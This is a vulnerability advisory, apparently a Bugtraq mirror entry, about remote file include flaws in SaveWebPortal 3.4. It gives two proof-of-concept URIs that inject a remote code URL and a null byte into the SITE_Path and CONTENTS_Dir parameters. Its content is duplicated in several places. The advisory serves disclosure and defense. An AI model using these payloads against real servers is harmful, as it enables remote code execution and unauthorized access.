SaveWebPortal Multiple Remote File Include Vulnerabilities
BID:14641
Info
SaveWebPortal Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 14641 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 23 2005 12:00AM |
| Updated: | Aug 23 2005 12:00AM |
| Credit: | rgod is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
circeOS SaveWebPortal 3.4 |
| Not Vulnerable: | |
Discussion
SaveWebPortal Multiple Remote File Include Vulnerabilities
SaveWebPortal is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
SaveWebPortal is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
Exploit / POC
SaveWebPortal Multiple Remote File Include Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/menu_dx.php?SITE_Path=http://www.example.com/[remote code]%00
http://www.example.com/menu_sx.php?CONTENTS_Dir=http://www.example.com/[remote code]%00
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/menu_dx.php?SITE_Path=http://www.example.com/[remote code]%00
http://www.example.com/menu_sx.php?CONTENTS_Dir=http://www.example.com/[remote code]%00
Solution / Fix
SaveWebPortal Multiple Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
SaveWebPortal Multiple Remote File Include Vulnerabilities
References:
References: